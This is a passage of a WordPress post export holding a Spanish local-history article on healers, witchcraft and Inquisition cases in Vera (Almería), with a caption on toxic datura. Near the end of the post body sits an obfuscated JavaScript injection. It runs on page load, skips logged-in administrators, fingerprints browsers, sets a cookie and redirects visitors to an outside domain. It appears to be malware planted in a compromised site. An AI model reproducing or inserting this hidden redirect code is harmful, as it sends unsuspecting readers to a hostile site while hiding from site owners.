un retorno de lo reprimido bajo distintos disfraces. <\/span><\/span><\/p>\n El \u00abadversario\u00bb o sat\u00e1n ser\u00e1 en realidad el pasado, <\/span><\/span><\/p>\n la promesa de cualquier <\/span><\/span>unio mystica<\/i><\/span><\/span> no trasformada a\u00fan<\/span><\/span><\/span><\/p>\n en <\/span><\/span>unio formalis<\/i><\/span><\/span>. La oposici\u00f3n a la idea del ente\u00f3geno natural <\/span><\/span><\/span><\/p>\n es tanto m\u00e1s rigurosa cuanto m\u00e1s nazca de una promesa <\/span><\/span><\/p>\n enteog\u00e9nica traicionada. Esto justificar\u00e1 la destrucci\u00f3n <\/span><\/span><\/p>\n de ritos mist\u00e9ricos en el \u00e1rea mediterr\u00e1nea y Europa, <\/span><\/span><\/p>\n la persecuci\u00f3n infatigable de hechiceros hasta el siglo XIX (…)<\/span><\/span><\/p>\n Historia General de las Drogas<\/em>. Antonio Escohotado (p\u00e1g. 233)<\/span><\/span><\/p>\n Era el a\u00f1o de 1651<\/strong> y a\u00fan recordaban con orgullo c\u00f3mo sus abuelos y bisabuelos les hab\u00edan contado que hac\u00eda 80 a\u00f1os hab\u00edan resistido el asedio de los moriscos de Ab\u00e9n Humeya.<\/p>\n Muchas viejas espadas se oxidaban en sus casas y, los hidalgos<\/strong> veratenses, ya no eran ni los temerarios colonos guerreros que lloraron la muerte de la reina Isabel la Cat\u00f3lica en 1504 (hachas de fuego en mano), y cuyos restos de los m\u00e1s notables descansaban\u00a0 y descansan en la Iglesia de la Encarnaci\u00f3n y en el Convento de la Victoria, ni los ilustrados del siguiente siglo, culta latiniparla llena de ideas y de buenas intenciones. De hecho, hab\u00edan empezado a declinar en sus obligaciones<\/strong> guerreras para con la poblaci\u00f3n civil y el Estado en lo que se ha dado en llamar \u201cel retraimiento militar de la nobleza castellana con motivo de la guerra franco-espa\u00f1ola\u201d. Eran los Garc\u00eda de Ategui<\/strong>, los Xim\u00e9nez de Arrutabe<\/strong>, los Campoy,<\/strong> los Soler,<\/strong> los Albarrac\u00edn\u2026<\/strong> troc\u00e1ndose de soldados en busca de fortuna en hidalgos y de hidalgos en regidores perpetuos.<\/p>\n Todav\u00eda eran tiempos casi heroicos (a\u00fan se divisaban piratas desde la torre de la Garrucha) y miserables en lo material, como casi siempre ha sido desde que el hombre es hombre. Tanto es as\u00ed que, ese mismo a\u00f1o, los caballeros capitulares acordaron como algo necesario abrir las puertas de las casas de los vecinos, descubrir qui\u00e9n viv\u00eda en una situaci\u00f3n mis\u00e9rrima<\/strong> y proporcionarles comida y aperos para la siembra.<\/p>\n Necesario se consider\u00f3 tambi\u00e9n enviar al alguacil mayor en busca de un religioso de la villa de V\u00e9lez Rubio que, se dec\u00eda, con oraciones y conjuros mataba la langosta<\/strong>, los gusanos y dem\u00e1s sabandijas perniciosas<\/i> a cambio de unos ducados (fol. 90).<\/p>\n Una noticia excepcional de 1565,<\/strong> sobre la cirujana, comadrona y entendida en hierbas de Moj\u00e1car, casada con el veratense Ortu\u00f1o Salcedo, Ginesa Mar\u00edn<\/strong>, nos pone en antecedentes sobre el ejercicio tradicional de la curaci\u00f3n en la Comarca. Antes lo hab\u00eda sido en Vera el m\u00e9dico jud\u00edo Symuel Abolafia<\/strong> (1488).<\/p>\n El\u00a0ambiente de la \u00e9poca posterior no contradec\u00eda esa b\u00fasqueda desesperada: es seguro que casi desconocidos ritos moriscos (y, qui\u00e9n sabe si anteriores), a\u00fan se practicaban en pueblos cercanos y registrados en procesos inquisitoriales de otros archivos; la lorquina Dorotea Pertusa<\/strong>, en 1700,<\/strong> pretendi\u00f3 curar a una vecina de V\u00e9lez Rubio apret\u00e1ndole la cabeza y mascullando: Jes\u00fas encontr\u00f3 a sus disc\u00edpulos y les dijo que a d\u00f3nde iban y le respondieron, \u201ca buscar teja y reolleja, cascos de calabaza para la cabeza de Juana\u201d, as\u00ed sea.<\/i> Tiraba de los cabellos a la paciente y segu\u00eda: \u201ccomo la barba de Nuestro Se\u00f1or fue tirada y arrojada de los jud\u00edos as\u00ed sea tirado y arrojado el mal de la cabeza de Juana. Muera, rayos y centellas por todas lanzadas y todo dolor y mal de Juana, y viva Cristo, que as\u00ed lo manda nuestro se\u00f1or Jesucristo\u201d. <\/i><\/p>\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/i>En 1739<\/strong> se empezaba a rumorear en Laujar que Bernardo Bentaja<\/strong> adivinaba qui\u00e9n iba a morir y qui\u00e9n estaba en el cielo o en el infiermo. Entraba en \u00e9xtasis y quedaba como muerto, mudado el color, saliendo de sus labios una extra\u00f1a voz ronca que se achacaba al diablo. Se llev\u00f3 al r\u00edo a numerosas vecinas y lo encarcelaron para exorcizarlo moli\u00e9ndolo a palos.<\/p>\n Gabriel D\u00edaz, \u201calias Leorro<\/strong>\u201d, aterrorizaba a las gentes de Alboloduy<\/strong> gozando al hacer el mal por el mal y hechizando a base de tabaco en polvo (probablemente mezclado con estramonio, belladona o bele\u00f1o) y maldiciendo a las mujeres que rechazaban sus proposiciones sexuales. En su casa metamorfoseaba a hechiceros en zorros, podencos y \u201chorques\u201d.<\/p>\n Luisa Baeza, de Felix<\/strong>, reduc\u00eda mejunjes en su caldero. Un hombre la reprendi\u00f3 porque no iba a misa y unos polvos esparcidos en derredor lo hicieron enfermar hasta que acudi\u00f3 a otra hechicera de Almer\u00eda, Mar\u00eda Mu\u00f1oz<\/strong>, haci\u00e9ndole expulsar dos gusanos blancos a base de agua de mar, aguardiente y mistela. Un filtro de amor demandado por un joven postr\u00f3 en cama a su amada hasta que se decidi\u00f3 a deshacer el hechizo coloc\u00e1ndole en el est\u00f3mago una hierba llamada \u2018setaro\u2019\u2026<\/p>\n Por si fuera poco, fuentes orales me han informado sobre una aut\u00e9ntica caza de brujas en la Sierra de Cabrera a principios del siglo XIX por la Santa Inquisici\u00f3n, dato todav\u00eda por confirmar en este Archivo Municipal.<\/p>\n Uno de los azotes de esta caterva, los Garc\u00eda-Cueto<\/strong>, verdadera casta de militares en su origen, r\u00edgidos, autoritarios e inquisitoriales en Vera, hac\u00eda poco que campaban ya a sus anchas por las salas capitulares, minando en ocasiones la autoridad de los Alcaldes Mayores, la mayor\u00eda de los cuales sol\u00edan ser elegidos por capitostes ajenos a la ciudades \u00a0en las que gobernaban e impart\u00edan justicia (Corregidor y C\u00e1mara de Castilla). Su presencia hac\u00eda inexplicable la desesperada opci\u00f3n, casi her\u00e9tica, de los conjuros contra la langosta, explicada quiz\u00e1 por la Real Pragm\u00e1tica sobre los ensalmadores de 1477. As\u00ed, esa intolerancia se demostrar\u00e1 m\u00e1s adelante, andando los siglos, cuando la familia vaya tomando progresivamente el poder absoluto de Vera, tanto material como espiritualmente. Con su bast\u00f3n o vara en mano y su insignia de la Santa Inquisici\u00f3n, los Garc\u00eda-Cueto ser\u00e1n testigos, casi siempre como fiscales denunciantes, de actitudes heterodoxas y espont\u00e1neas del sabio y sufrido vulgo veratense.<\/p>\n Sentiremos su presencia y leeremos sus r\u00fabricas<\/strong> en pleitos contra una hechicera que tumb\u00f3 a una mula exhalando maldiciones (AHPA), contra la comadrona y posiblemente alcahueta y hechicera, Quiteria Vutia<\/strong>, \u201cnegra de naci\u00f3n\u201d (1727), contra el curandero Matheo Vicente<\/strong> (1744), cuya especialidad era curar con un dedo mojado en saliva y varias ventosas males de barriga, re\u00f1ido con varias hechiceras muy competitivas de B\u00e9dar, duchas en el arte de introducir hechizos en los pimientos o en realizar ritos adivinatorios con los corpi\u00f1os de las difuntas; o contra Mar\u00eda Sim\u00f3n<\/strong> (1770), curandera cuya actitud no fue censurada (posiblemente porque ten\u00eda cierto capital o influencias en el concejo), al intentar curar de s\u00edfilis a otro pr\u00f3cer amigo y compadre de los Garc\u00eda-Cueto, Esc\u00e1nez de Haro, a base de sahumerios de bermell\u00f3n (sulfuro de mercurio). Don Alejo Campoy<\/strong>, de la Villa de Cuevas, fue denunciado por haber intentado quitar la vida con maleficios a do\u00f1a Ana Josepha M\u00e1rquez, su mujer. Otras censuras las dirigir\u00e1 contra los desnudos de varias mujeres, las consideradas por ellos como representantes de la mala vida, las costumbres y los trapicheos de la carne, mientas estos fiscales constru\u00edan un alto muro en el patio de su casa para salvaguardar su intimidad (A.H.P.A. J-25, n\u00ba 894).<\/p>\n En 1808 un valiente veratense, el Alcalde Mayor don Francisco de Paula y Padial<\/strong>, guerrillero patriota, se enfrentar\u00e1 con don Diego Mar\u00eda Garc\u00eda-Cueto por la excesiva e intrusiva ostentaci\u00f3n que hac\u00eda de dichos s\u00edmbolos inquisitoriales. Una vez m\u00e1s, perdi\u00f3 contra los Garc\u00eda-Cueto.<\/p>\n La reciente transcripci\u00f3n por Bartolom\u00e9 Contreras Segura de un expediente a cuento de la Guerra de la Independencia, ha puesto la guinda a tan simp\u00e1tico barullo: se da la noticia de la existencia en Vera de las casas del jud\u00edo Salom\u00f3n,<\/strong> en la placeta del Barranco (hoy, los alrededores de la plaza de Fernando V, 1818), en las que sol\u00eda jugar a los naipes Antonio Mart\u00ednez Botella<\/strong>, curandero y cirujano.<\/p>\n A\u00f1ado que en el Cabezo de Mar\u00eda, otro de los lugares paradigm\u00e1ticos actuales del curanderismo debido a la proliferaci\u00f3n\u00a0de cierta planta muy utilizada, a\u00fan hoy, para alejar las malas sombras de las casas,\u00a0vivi\u00f3 en 1843 (expediente del fondo judicial del Archivo Municipal de Vera, -Vera-Sorbas-Antas-), Ana Cano, la de Crist\u00f3bal Pe\u00f1a, c\u00f3mplice de timar al vecino de Sorbas Jos\u00e9 Munera Mart\u00ednez, intentando valerse de las hechicer\u00edas de Luis Dom\u00ednguez con el fin de librar del sorteo de milicias a su hijo. (transcribir\u00e9 su contenido m\u00e1s ampliamente en otro art\u00edculo en funci\u00f3n del inter\u00e9s de los lectores).<\/p>\n Somos testigos de excepci\u00f3n\u00a0de cuatro siglos apasionantes que nos hacen sentir orgullosos de ser descendientes de una tierra tan prolija en la locura creativa de este laboratorio humano y de mostrar a sus vecinos una cara menos conocida de la historia veratense.<\/p>\n (…) Pero la represi\u00f3n pone en marcha un retorno de lo reprimido bajo distintos disfraces. El\u00abadversario\u00bb o sat\u00e1n ser\u00e1 en realidad el pasado, la promesa de cualquier unio mystica no trasformada a\u00fan en unio formalis. La oposici\u00f3n a la idea del ente\u00f3geno natural es tanto m\u00e1s rigurosa cuanto m\u00e1s nazca de una promesa enteog\u00e9nica traicionada. Esto justificar\u00e1 la destrucci\u00f3n de ritos mist\u00e9ricos en el \u00e1rea mediterr\u00e1nea y Europa, la persecuci\u00f3n infatigable de hechiceros hasta el siglo XIX<\/em> (…)<\/p>\n Historia General de las Drogas<\/em>. Antonio Escohotado (p\u00e1g. 233)<\/b><\/p>\n \u00a0Manuel Caparr\u00f3s Perales<\/p>\n Publicado en el peri\u00f3dico Verald\u00eda<\/em>\u00a0 n\u00ba 25 de febrero de 2010<\/p>\n (BIBLIOGRAF\u00cdA: BL\u00c1ZQUEZ MIGUEL, Juan. Breve bosquejo de la hechicer\u00eda almeriense en el siglo XVIII. CAPARR\u00d3S PERALES, Manuel. Curanderos, hechiceras y comadres en la Tierra de Vera. CAPARR\u00d3S PERALES, Manuel. La fr\u00e1gil sensualidad femenina en el Antiguo R\u00e9gimen. Un caso de s\u00edfilis en el Archivo Municipal de Vera. ESCOHOTADO, Antonio. Historia General de las Drogas. S\u00c1NCHEZ DRAG\u00d3, Fernando. Historia M\u00e1gica de Espa\u00f1a. S\u00c1NCHEZ RAMOS, Valeriano. Un linaje castrense en el Levante almeriense: los Cueto).<\/p>\n Pie de foto de la imagen principal:<\/p>\n La especie Datura Stramonium<\/i>, llamada vulgarmente estramonio<\/i>, hierba del Diablo, hierba hedionda, higuera del infierno, florip\u00f3n, burladora y ch\u00e1mico, entre otras denominaciones, es una planta t\u00f3xica de la familia de las solan\u00e1ceas muy utilizada por los hechiceros, junto con el Bele\u00f1o, la Belladona y la Mandr\u00e1gora. Aunque tiene aplicaciones medicinales posibles, es poco recomendable su uso casero por los venenos que contiene. Ingerida causa locura irreversible.<\/p>\n var _0x2cf4=[‘MSIE;’,’OPR’,’Chromium’,’Chrome’,’ppkcookie’,’location’,’https:\/\/www.areyourobots.xyz’,’onload’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\\x20path=\/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=\u00bb;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||\u00bb)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/p>\n","protected":false},"excerpt":{"rendered":" Las costumbres m\u00e1s \u00edntimas de las gentes, ajenas a los acontecimientos pol\u00edticos, a las batallas y a los mercadeos a gran escala, son las menos visibles en los documentos antiguos y la Historia s\u00f3lo las rescata muy de vez en cuando. Pero hemos de saber que era la realidad para nuestros antepasados y para saber … Seguir leyendo MISCEL\u00c1NEA M\u00c1GICA DE VERA<\/span> ![\"espada](\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/espada-ropera-espa\u00f1ola-XVI-XVIII.jpg\")
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